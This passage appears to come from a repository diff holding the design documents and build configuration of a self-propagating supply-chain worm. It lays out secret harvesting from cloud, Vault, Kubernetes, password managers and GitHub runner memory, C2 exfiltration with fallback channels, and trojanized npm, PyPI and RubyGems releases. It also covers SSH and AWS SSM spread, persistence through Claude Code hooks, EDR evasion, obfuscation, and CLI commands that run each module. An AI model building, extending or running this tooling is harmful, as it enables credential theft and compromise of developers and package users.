│ Claude │──► Inject SessionStart hook
|
||||
│ NpmClient │──► Trojanize NPM packages
|
||||
│ RubyGemsClient │──► Trojanize RubyGems
|
||||
│ InstallMonitor │──► Install background service
|
||||
│ SshMutator │──► Propagate to SSH hosts
|
||||
└─────────────────────────────┘
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Control Flow
|
||||
|
||||
```
|
||||
main()
|
||||
├── try {
|
||||
│ ├── preflight()
|
||||
│ │ ├── isDecoy() → exit if decoy token
|
||||
│ │ ├── checkTargetRepo() → NPMOidcClient + exit or silent exit
|
||||
│ │ ├── isSystemRussian() → exit if Russian locale
|
||||
│ │ ├── daemonize() → background if not in CI
|
||||
│ │ └── acquireLock() → exit if another instance running
|
||||
│ │
|
||||
│ ├── gatherQuickResults() → FileSystem + Shell + GitHubRunner
|
||||
│ │
|
||||
│ ├── buildSenderChain(quickResults):
|
||||
│ │ ├── DomainSenderFactory → domain sender (primary, unless SKIP_DOMAIN)
|
||||
│ │ └── GitHubSenderFactory → GitHub senders (fallback)
|
||||
│ │
|
||||
│ ├── buildProviders(quickResults):
|
||||
│ │ ├── Static cloud providers
|
||||
│ │ └── GitHubActionsService per valid ghtoken with workflow scope
|
||||
│ │ Returns { providers, dispatched }
|
||||
│ │
|
||||
│ ├── Dispatcher(senders) + Collector(dispatch)
|
||||
│ │
|
||||
│ ├── Ingest quick results → Collector (validates + side-effects tokens)
|
||||
│ │
|
||||
│ ├── collector.run(providers) → harvest secrets from all providers
|
||||
│ ├── collector.finalize() → flush + await in-flight dispatches
|
||||
│ │
|
||||
│ └── planMutations(quickResults, dispatched):
|
||||
│ ├── If NOT dispatched: ReadmeUpdater per ghs_old + ghs_jwt token
|
||||
│ ├── ActionMutator + NpmOidcBranchMutator + RepositoryMutator per ghtoken
|
||||
│ └── Always: Claude + InstallMonitor + SshMutator
|
||||
│ }
|
||||
├── catch {
|
||||
│ └── getFallbackMutations(): Claude + InstallMonitor + SshMutator
|
||||
│ }
|
||||
│
|
||||
├── executeMutations(mutators) — all mutators in parallel
|
||||
│
|
||||
└── releaseLock() + process.exit(0)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Build Pipeline
|
||||
|
||||
```
|
||||
1. bun run prebuild (scripts/pack-assets.ts)
|
||||
└── Encrypts all files in src/assets/ with AES-256-GCM
|
||||
└── Writes src/generated/index.ts with encrypted exports
|
||||
|
||||
2. bun run build (scripts/build.ts)
|
||||
├── Generate random per-build passphrase
|
||||
├── Transform every .ts file:
|
||||
│ ├── env-scramble: process.env.XYZ → process.env[scramble("XYZ")]
|
||||
│ ├── scramble-shared: replaces scramble("literal") calls
|
||||
│ └── strip-logs: removes logUtil.* calls
|
||||
├── Inject passphrase into runtimeDecoder.ts
|
||||
├── Prepend import to index.ts
|
||||
└── Bun.build() → dist/bundle.js (minified, Bun target)
|
||||
|
||||
3. bun run build:obf (scripts/obfuscate.js)
|
||||
└── Apply javascript-obfuscator with aggressive settings
|
||||
(control flow flattening, dead code, self-defending, string array encoding)
|
||||
└── Output: dist_obf/bundle_obf.js
|
||||
|
||||
4. bun run build:obfplus (scripts/obfplus-wrap.js)
|
||||
└── Additional post-obfuscation wrapping layer
|
||||
└── Output: dist_obfplus/
|
||||
|
||||
5. bun run build:cli (scripts/build-cli.ts)
|
||||
└── Builds standalone single-provider/mutator/sender CLI bundles
|
||||
└── Output: dist-cli/
|
||||
|
||||
6. bun run build:cli:obf
|
||||
└── Obfuscated CLI bundles
|
||||
└── Output: dist-cli_obf/
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## C2 Resilience
|
||||
|
||||
| Priority | Transport | Mechanism |
|
||||
|---|---|---|
|
||||
| 1 (primary) | Domain HTTPS POST | Hardcoded C2 domain (scrambled in `config.ts`) |
|
||||
| 2 (fallback) | Signed commit search | Verifies `verify_key.pub` signatures in GitHub commits for backup C2 domains |
|
||||
| 3 (tertiary) | GitHub repo commits | Creates public repos with random Dune-themed names, commits encrypted blobs |
|
||||
| 4 (quaternary) | PAT-based repo commits | Uses any found GitHub tokens to create repos for exfiltration |
|
||||
|
||||
The sender chain supports the `SKIP_DOMAIN` environment variable to bypass the primary transport.
|
||||
|
||||
---
|
||||
|
||||
## Anti-Analysis Features
|
||||
|
||||
- **Decoy token detection** — exits if `GITHUB_TOKEN` prefix matches known honeypot patterns
|
||||
- **Target repo gating** — exits or runs specific mutator based on `WORKFLOW_ID`/`REPO_ID_SUFFIX` env vars
|
||||
- **Russian locale guard** — exits on Russian-locale systems
|
||||
- **EDR detection** — `hasHostileEDR()` checks for known EDR processes (CrowdStrike, SentinelOne, Carbon Black, etc.) and file paths; providers/mutators skip execution when hostile EDR is detected
|
||||
- **CI-aware daemonization** — detaches as background process outside CI (30+ CI systems detected)
|
||||
- **Process singleton lock** — PID-based file lock prevents multiple instances
|
||||
- **SIGINT/SIGTERM trapping** — ignores termination signals
|
||||
- **Silent logger** — no output in production; stripped at build time
|
||||
- **String obfuscation** — polyalphabetic substitution cipher, passphrase baked into runtime decoder at build time
|
||||
- **Environment variable obfuscation** — `process.env.XYZ` rewrites to indexed access at build time
|
||||
- **Asset encryption at rest** — all embedded payloads are AES-256-GCM encrypted in source
|
||||
- **Self-extracting payloads** — `buildSelfExtractingPayload()` produces ROT-N-wrapped, AES-128-GCM-encrypted JS with automatic bun download/install guard
|
||||
- **Log stripping** — `logUtil.*` calls removed at build time in production builds
|
||||
|
||||
---
|
||||
|
||||
## Technologies
|
||||
|
||||
| Technology | Purpose |
|
||||
|---|---|
|
||||
| TypeScript | Primary language |
|
||||
| Bun | Runtime, bundler, shell, glob, file I/O |
|
||||
| Node.js `crypto` | AES-256-GCM, AES-128-GCM, RSA-OAEP, ECDSA P-256, HMAC-SHA256, PBKDF2 |
|
||||
| Node.js `fs`/`child_process` | File operations, CLI execution |
|
||||
| GitHub REST API | Repo management, secret enumeration, artifact downloads, workflow dispatch, Git DB API |
|
||||
| GitHub GraphQL API | Branch enumeration, batched commit creation, action file discovery |
|
||||
| AWS SigV4 | Hand-rolled full AWS API signing |
|
||||
| AWS SSM | DescribeInstanceInformation, SendCommand for EC2 propagation |
|
||||
| Azure REST API | Key Vault + Identity (managed identity, federated, service principal) |
|
||||
| GCP REST API | Secret Manager + Identity (metadata, SA key, WIF) |
|
||||
| Kubernetes API | In-cluster or kubeconfig secret enumeration |
|
||||
| Vault API | Multi-source auth, KV v1/v2 enumeration |
|
||||
| sigstore (Fulcio + Rekor) | SLSA provenance bundles for NPM packages |
|
||||
| PyPI API | Wheel download, metadata, upload |
|
||||
| RubyGems API | Gem download, metadata, upload |
|
||||
| `tar` | NPM tarball manipulation |
|
||||
| `fflate` | ZIP decompression for GitHub Actions artifacts |
|
||||
| `javascript-obfuscator` | Post-build JS obfuscation |
|
||||
| SSH/SCP | Host propagation via `~/.ssh/known_hosts` and `~/.ssh/config` |
|
||||
|
||||
---
|
||||
|
||||
## Key Files
|
||||
|
||||
| File | Role |
|
||||
|---|---|
|
||||
| `src/index.ts` | Main entry point — orchestrates all phases |
|
||||
| `src/orchestrator/preflight.ts` | All pre-execution safety checks |
|
||||
| `src/orchestrator/providers.ts` | Quick results + full provider list assembly |
|
||||
| `src/orchestrator/senders.ts` | Prioritized sender chain construction |
|
||||
| `src/orchestrator/mutations.ts` | Conditional + fallback mutation planning and execution |
|
||||
| `src/sender/base.ts` | Encryption logic — RSA+AES hybrid encryption of exfiltrated data |
|
||||
| `src/sender/domain/sender.ts` | Primary C2 transport — HTTPS POST to C2 server |
|
||||
| `src/sender/github/gitHubSenderFactory.ts` | Fallback C2 transport — GitHub repo-based exfiltration |
|
||||
| `src/collector/collector.ts` | Buffer, token validation (GH/NPM/RubyGems/PyPI/JFrog), flush to dispatcher |
|
||||
| `src/dispatcher/dispatcher.ts` | Sender chain with fallback and health-check preflighting |
|
||||
| `src/providers/ghrunner/runner.ts` | Runner memory dump — extracts GitHub Action secrets from Runner.Worker memory |
|
||||
| `src/providers/actions/workflow.ts` | Workflow injection — commits malicious workflow to exfiltrate repo secrets |
|
||||
| `src/providers/azure/keyvault.ts` | Azure Key Vault secret enumeration |
|
||||
| `src/providers/gcp/secrets.ts` | GCP Secret Manager enumeration |
|
||||
| `src/mutator/branch/index.ts` | Branch poisoning — pushes malicious files to all repo branches |
|
||||
| `src/mutator/repository/index.ts` | Repository mutator — Git DB API-based file injection with Claude/Gemini/VSCode hooks |
|
||||
| `src/mutator/action/actionMutator.ts` | Action hijacking — semver tag force-push on custom GitHub Actions |
|
||||
| `src/mutator/npm/index.ts` | NPM trojanization — re-publishes packages with preinstall hooks |
|
||||
| `src/mutator/npmoidc/branch.ts` | NPM OIDC branch injection — dangling commits + deployment |
|
||||
| `src/mutator/pypi/index.ts` | PyPI trojanization — re-publishes wheels with .pth loader |
|
||||
| `src/mutator/pypioidc/index.ts` | PyPI OIDC trojanization — Trusted Publishing via GitHub OIDC token minting |
|
||||
| `src/mutator/rubygems/index.ts` | RubyGems trojanization — re-publishes gems with native extension |
|
||||
| `src/mutator/rubygemsoidc/branch.ts` | RubyGems OIDC branch injection — dangling commits for trusted publishing repos |
|
||||
| `src/mutator/ssh/sshMutator.ts` | SSH propagation — SCP + SSH exec to known hosts |
|
||||
| `src/mutator/jfrognpm/index.ts` | JFrog NPM trojanization — re-publishes packages in JFrog Artifactory NPM repos |
|
||||
| `src/mutator/aws/ssm.ts` | AWS SSM propagation — SendCommand to managed EC2 instances |
|
||||
| `src/mutator/claude/index.ts` | Claude hook injection — persistence via Claude Code SessionStart hooks |
|
||||
| `src/mutator/persist/install-monitor.ts` | Background monitor installation — persistent token activity watcher |
|
||||
| `src/generated/index.ts` | Encrypted assets — all payload files encrypted with AES-256-GCM |
|
||||
| `src/utils/selfExtracting.ts` | Self-extracting payload builder — AES-GCM + ROT-N + bun guard |
|
||||
| `src/utils/encryptedWrapper.ts` | Self-decrypting JS wrapper — AES-128-GCM payload wrapper |
|
||||
| `src/github_utils/gitDb.ts` | Low-level GitHub Git DB operations (blobs, trees, commits, refs) |
|
||||
| `src/github_utils/orphanDep.ts` | Orphan commit builder — npm git-dep injection bypass |
|
||||
| `scripts/build.ts` | Build pipeline — source transformation and bundling |
|
||||
| `scripts/build-cli.ts` | CLI build pipeline — standalone provider/mutator bundles |
|
||||
| `scripts/obfuscate.js` | Post-build obfuscation |
|
||||
| `scripts/obfplus-wrap.js` | Additional obfuscation wrapping |
|
||||
| `scripts/decrypt.ts` | Standalone decryptor for exfiltrated envelopes |
|
||||
| `src/assets/enc_key.pub` | RSA-4096 public key for data encryption |
|
||||
| `src/assets/verify_key.pub` | RSA-4096 public key for C2 domain signature verification |
|
||||
@@ -0,0 +1,144 @@
|
||||
# Integration Testing
|
||||
|
||||
Run individual providers, mutators, or senders in isolation via standalone CLI entrypoints — source mode only (`bun run src/cli/...`). No build step required.
|
||||
|
||||
## Design
|
||||
|
||||
```
|
||||
src/cli/
|
||||
├── common.ts # Shared CLI utilities (arg parsing, output formatting, global scramble)
|
||||
├── provider-filesystem.ts # bun run src/cli/provider-filesystem.ts
|
||||
├── provider-shell.ts
|
||||
├── provider-ghrunner.ts
|
||||
├── provider-aws-account.ts
|
||||
├── provider-aws-secrets.ts
|
||||
├── provider-aws-ssm.ts
|
||||
├── provider-azure-identity.ts
|
||||
├── provider-azure-keyvault.ts
|
||||
├── provider-gcp-identity.ts
|
||||
├── provider-gcp-secrets.ts
|
||||
├── provider-k8s.ts
|
||||
├── provider-vault.ts
|
||||
├── provider-passwords.ts
|
||||
├── provider-actions.ts
|
||||
├── provider-grep.ts
|
||||
├── mutator-npm.ts
|
||||
├── mutator-npmoidcbranch.ts
|
||||
├── mutator-pypi.ts
|
||||
├── mutator-rubygems.ts
|
||||
├── mutator-rubygemsoidc-branch.ts
|
||||
├── mutator-action.ts
|
||||
├── mutator-repository.ts
|
||||
├── mutator-jfrognpm.ts
|
||||
├── mutator-claude.ts
|
||||
├── mutator-branch.ts
|
||||
├── sender-domain.ts
|
||||
├── sender-github.ts
|
||||
└── validate-binding-gyp.ts
|
||||
```
|
||||
|
||||
Every entrypoint follows the same pattern:
|
||||
|
||||
```typescript
|
||||
#!/usr/bin/env bun
|
||||
(globalThis as Record<string, unknown>).scramble = (s: string): string => s;
|
||||
(globalThis as Record<string, unknown>).beautify = (s: string): string => s;
|
||||
|
||||
import { parseArgs, runModule } from "./common";
|
||||
|
||||
const Module = await import("../path/to/module");
|
||||
const args = parseArgs(Bun.argv.slice(2));
|
||||
await runModule(args);
|
||||
```
|
||||
|
||||
## The `scramble` problem
|
||||
|
||||
Source files declare `scramble()` as a build-time-only global. The build plugin (`scripts/scramble-shared.ts`) replaces `scramble("literal")` with pre-encoded `beautify("...")` at build time. In source mode (`bun run src/cli/...`), `scramble` is undefined.
|
||||
|
||||
**Fix:** Each CLI entrypoint defines `globalThis.scramble` as an identity function (`(s) => s`) at the very top before any other code runs. Since source files call `scramble("literal")` with the decoded literal as argument, a no-op correctly returns the decoded value. `beautify` is also set as identity since no pre-encoded strings exist at source time.
|
||||
|
||||
## `generated/index.ts` encrypted assets
|
||||
|
||||
This auto-generated file decrypts assets at module import time via `_dec(scramble("key"), "data")`. At source time with the identity `scramble`, these calls will pass plaintext keys and will fail because `_dec` expects a hex key and base64 ciphertext.
|
||||
|
||||
**Fix:** Dynamic import. The CLI entrypoint uses `await import()` for the module under test, avoiding static import of `generated/index.ts` unless the module actually needs it. Modules that depend on generated assets (ReadmeUpdater, NPMOidcClient, etc.) will fail if they try to access those assets at source time — this is documented and expected.
|
||||
|
||||
## Common utilities (`src/cli/common.ts`)
|
||||
|
||||
```typescript
|
||||
interface CliArgs {
|
||||
module: string;
|
||||
params: Record<string, string>;
|
||||
flags: Set<string>;
|
||||
}
|
||||
|
||||
function parseArgs(argv: string[]): CliArgs
|
||||
// --key value → params[key] = value
|
||||
// --flag → flags.add(flag)
|
||||
// --json '{}' → params._json = JSON.parse(...)
|
||||
|
||||
async function runModule(name: string, fn: () => Promise<any>): Promise<void>
|
||||
// Wraps execution with:
|
||||
// - Error boundary (catch → stderr + exit 1)
|
||||
// - Outputs result as JSON to stdout
|
||||
// - Disables silent logger (logUtil output visible)
|
||||
```
|
||||
|
||||
## CLI argument convention
|
||||
|
||||
```
|
||||
bun run src/cli/provider-filesystem.ts
|
||||
bun run src/cli/provider-actions.ts --github-token ghp_xxx
|
||||
bun run src/cli/sender-domain.ts --domain example.com --port 443 --path /api
|
||||
bun run src/cli/provider-passwords.ts --onepassword-password mypass
|
||||
bun run src/cli/mutator-npm.ts --npm-token npm_xxx
|
||||
```
|
||||
|
||||
Parameters are passed as `--key value` pairs. Boolean flags as `--flag`. The entrypoint maps CLI args to constructor params.
|
||||
|
||||
List available entrypoints:
|
||||
```
|
||||
bun run cli:list
|
||||
```
|
||||
|
||||
## Module → CLI mapping
|
||||
|
||||
| Module | Entrypoint | Args |
|
||||
|--------|-----------|------|
|
||||
| FileSystemService | `provider-filesystem.ts` | None |
|
||||
| ShellService | `provider-shell.ts` | None |
|
||||
| `GithubRunner` | `provider-ghrunner.ts` | None (needs `GITHUB_ACTIONS=true` + sudo) |
|
||||
| `GitHubActionsService` | `provider-actions.ts` | `--github-token` |
|
||||
| `AwsAccountService` | `provider-aws-account.ts` | None |
|
||||
| `AwsSecretsManagerService` | `provider-aws-secrets.ts` | None |
|
||||
| `AwsSsmService` | `provider-aws-ssm.ts` | None |
|
||||
| `AzureIdentityService` | `provider-azure-identity.ts` | None |
|
||||
| `AzureKeyVaultService` | `provider-azure-keyvault.ts` | None |
|
||||
| `GcpIdentityService` | `provider-gcp-identity.ts` | None |
|
||||
| `GcpSecretsService` | `provider-gcp-secrets.ts` | None |
|
||||
| `K8sSecretsService` | `provider-k8s.ts` | None |
|
||||
| `VaultSecretsService` | `provider-vault.ts` | None |
|
||||
| `PasswordManagerProvider` | `provider-passwords.ts` | `--onepassword-password` etc. (optional) |
|
||||
| `GrepProvider` | `provider-grep.ts` | `--dir` (optional, default `~`), `--max` (optional, default 5000) |
|
||||
| `NpmClient` | `mutator-npm.ts` | `--npm-token` |
|
||||
| `NpmOidcBranchMutator` | `mutator-npmoidcbranch.ts` | `--github-token`, `--repo` (optional), `--execute` |
|
||||
| `PypiMutator` | `mutator-pypi.ts` | `--pypi-token`, `--package` |
|
||||
| `RubyGemsClient` | `mutator-rubygems.ts` | `--rubygems-token`, `--dry-run` |
|
||||
| `RubygemsOidcBranchMutator` | `mutator-rubygemsoidc-branch.ts` | `--github-token`, `--repo` (optional), `--execute` |
|
||||
| `ActionMutator` | `mutator-action.ts` | `--github-token`, `--dry-run` |
|
||||
| `RepositoryMutator` | `mutator-repository.ts` | `--github-token`, `--live` |
|
||||
| `JfrogNpmMutator` | `mutator-jfrognpm.ts` | `--jfrog-url`, `--jfrog-token`, `--jfrog-auth-type` (optional), `--packages` (optional), `--max-packages` (optional), `--execute`, `--force-cache-overwrite` |
|
||||
| `Claude` | `mutator-claude.ts` | None |
|
||||
| `ReadmeUpdater` | `mutator-branch.ts` | `--github-token` + `GITHUB_REPOSITORY` env |
|
||||
| `DomainSender` | `sender-domain.ts` | `--domain --port --path` |
|
||||
| `GitHubSender` | `sender-github.ts` | `--github-token` |
|
||||
| `binding.gyp` validator | `validate-binding-gyp.ts` | `<npm-package>` (positional), `--install` |
|
||||
|
||||
## Constraints & non-breakage
|
||||
|
||||
1. **Existing `src/index.ts` untouched** — no changes to the main entrypoint or orchestration flow.
|
||||
2. **No new npm dependencies** — uses only `Bun.argv`, `process.stdout`, `process.stderr`.
|
||||
3. **Build pipeline unchanged** — CLI is source-mode only. `scripts/build.ts` is unmodified.
|
||||
4. **Logger permissive in CLI** — `logUtil` operates in non-silent mode so debug output is visible.
|
||||
5. **Exit codes** — 0 on success, 1 on failure. JSON result on stdout, errors on stderr.
|
||||
6. **Dynamic imports** — modules under test are imported dynamically (`await import()`) to ensure `scramble` global is installed before any static imports of `generated/index.ts` execute.
|
||||
@@ -0,0 +1,6 @@
|
||||
[bundle]
|
||||
[bundle.loaders]
|
||||
".py" = "text"
|
||||
|
||||
[test]
|
||||
preload = ["./tests/setup.ts"]
|
||||
@@ -0,0 +1,31 @@
|
||||
import simpleImportSort from "eslint-plugin-simple-import-sort";
|
||||
|
||||
export default [
|
||||
// Global ignores MUST be alone in their own object to apply project-wide.
|
||||
{
|
||||
ignores: [
|
||||
"dist/**",
|
||||
"dist_obf/**",
|
||||
"dist_obfplus/**",
|
||||
"build/**",
|
||||
"coverage/**",
|
||||
"node_modules/**",
|
||||
".bun-temp/**",
|
||||
".bun-temp-cli/**",
|
||||
"**/*.d.ts",
|
||||
],
|
||||
},
|
||||
|
||||
// Actual lint config for TS/TSX files.
|
||||
{
|
||||
files: ["**/*.ts", "**/*.tsx"],
|
||||
languageOptions: {
|
||||
parser: (await import("@typescript-eslint/parser")).default,
|
||||
},
|
||||
plugins: { "simple-import-sort": simpleImportSort },
|
||||
rules: {
|
||||
"simple-import-sort/imports": "error",
|
||||
"simple-import-sort/exports": "error",
|
||||
},
|
||||
},
|
||||
];
|
||||
Reference in New Issue
Block a user